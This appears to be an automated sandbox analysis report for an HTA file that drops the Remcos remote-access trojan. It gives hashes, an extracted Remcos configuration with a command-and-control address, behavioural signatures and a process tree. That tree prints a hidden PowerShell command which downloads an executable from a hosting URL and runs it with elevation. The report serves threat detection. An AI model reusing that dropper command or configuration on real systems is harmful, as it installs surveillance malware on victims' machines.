Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-01-2025 12:33

General

  • Target

    1111.hta

  • Size

    2KB

  • MD5

    91b57eb5e0925c7522374b0c64902dfd

  • SHA1

    437da5eb27efeb38a9b7f804066205964a345a33

  • SHA256

    e5f2879072cdd3e4905f5fa8017be818d2c61f718d0fd322196e9cd54062ba4a

  • SHA512

    68dc36ae7ba35fb736677a7b179cfdea7b93ff7cb95ea27ffec9bde61cfc3358148cb612a33450b2b5ce452bf47077a8ed6e6d5b497e027b05415a89ec5b76f4

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://bitbucket.org/docspaceplace/test2/downloads/1.exe

Extracted

Family

remcos

Botnet

Hello World!

C2

46.175.167.116:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    Realtek Driver.exe

  • copy_folder

    Realtek Audio

  • delete_file

    false

  • hide_file

    true

  • hide_keylog_file

    false

  • install_flag

    true

  • install_path

    %AppData%

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Realtek Audio-J15M0S

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Adds policy Run key to start application 2 TTPs 6 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\1111.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3212
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('https://bitbucket.org/docspaceplace/test2/downloads/1.exe', $path); Start-Sleep -Seconds 10; Start-Process -Verb RunAs -FilePath $path -ArgumentList '-install'; Start-Sleep -Seconds 20; Remove-Item -Verb RunAs -Path \$path -Force"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3932
      • C:\Users\Admin\AppData\Local\Temp\EkXH.exe
        "C:\Users\Admin\AppData\Local\Temp\EkXH.exe" -install
        3⤵
        • Adds policy Run key to start application
        • Checks computer location settings
        • Executes dropped EXE
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2584
        • C:\Users\Admin\AppData\Roaming\Realtek Audio\Realtek Driver.exe
          "C:\Users\Admin\AppData\Roaming\Realtek Audio\Realtek Driver.exe"
          4⤵
          • Adds policy Run key to start application
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:1496
          • \??\c:\program files (x86)\internet explorer\iexplore.exe
            "c:\program files (x86)\internet explorer\iexplore.exe"
            5⤵
            • Adds policy Run key to start application
            • Adds Run key to start application
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:4316
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe
              6⤵
                PID:1588

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\EkXH.exe

      Filesize

      483KB

      MD5

      38c479083ba7387ebad73f3b67020eab

      SHA1

      48bbd0bf1d333293c22c96b7731ba54343d7f8fe

      SHA256

      af9a6206a5f41bcdf8567adee799d8c5141da48776508c3c73617b2c140d84cb

      SHA512

      23632f540c6e287a31828cdb7eac23ca5acd8653908f6211fadafb64734bafcecb34f7a27f3ee843dce054397b1ae5b723f467ebeca5d66d52320ba7909f7fbe

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fnqeoscg.mm2.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1588-75-0x0000000000F50000-0x0000000000FD2000-memory.dmp

      Filesize

      520KB

    • memory/1588-74-0x0000000000F50000-0x0000000000FD2000-memory.dmp

      Filesize

      520KB

    • memory/3932-27-0x0000000008330000-0x00000000088D4000-memory.dmp

      Filesize

      5.6MB

    • memory/3932-84-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3932-5-0x0000000005900000-0x0000000005966000-memory.dmp

      Filesize

      408KB

    • memory/3932-4-0x0000000004F10000-0x0000000004F32000-memory.dmp

      Filesize

      136KB

    • memory/3932-7-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3932-17-0x00000000059E0000-0x0000000005D34000-memory.dmp

      Filesize

      3.3MB

    • memory/3932-18-0x0000000005FD0000-0x0000000005FEE000-memory.dmp

      Filesize

      120KB

    • memory/3932-19-0x0000000006010000-0x000000000605C000-memory.dmp

      Filesize

      304KB

    • memory/3932-20-0x0000000007700000-0x0000000007D7A000-memory.dmp

      Filesize

      6.5MB

    • memory/3932-21-0x0000000006500000-0x000000000651A000-memory.dmp

      Filesize

      104KB

    • memory/3932-23-0x000000007500E000-0x000000007500F000-memory.dmp

      Filesize

      4KB

    • memory/3932-24-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3932-25-0x00000000074E0000-0x0000000007576000-memory.dmp

      Filesize

      600KB

    • memory/3932-26-0x0000000007480000-0x00000000074A2000-memory.dmp

      Filesize

      136KB

    • memory/3932-0-0x000000007500E000-0x000000007500F000-memory.dmp

      Filesize

      4KB

    • memory/3932-2-0x00000000050E0000-0x0000000005708000-memory.dmp

      Filesize

      6.2MB

    • memory/3932-6-0x0000000005970000-0x00000000059D6000-memory.dmp

      Filesize

      408KB

    • memory/3932-1-0x0000000004A70000-0x0000000004AA6000-memory.dmp

      Filesize

      216KB

    • memory/3932-3-0x0000000075000000-0x00000000757B0000-memory.dmp

      Filesize

      7.7MB

    • memory/4316-68-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-73-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-69-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-76-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-77-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-78-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-70-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-85-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-89-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-87-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-86-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-90-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-91-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB

    • memory/4316-92-0x0000000000F70000-0x0000000000FF2000-memory.dmp

      Filesize

      520KB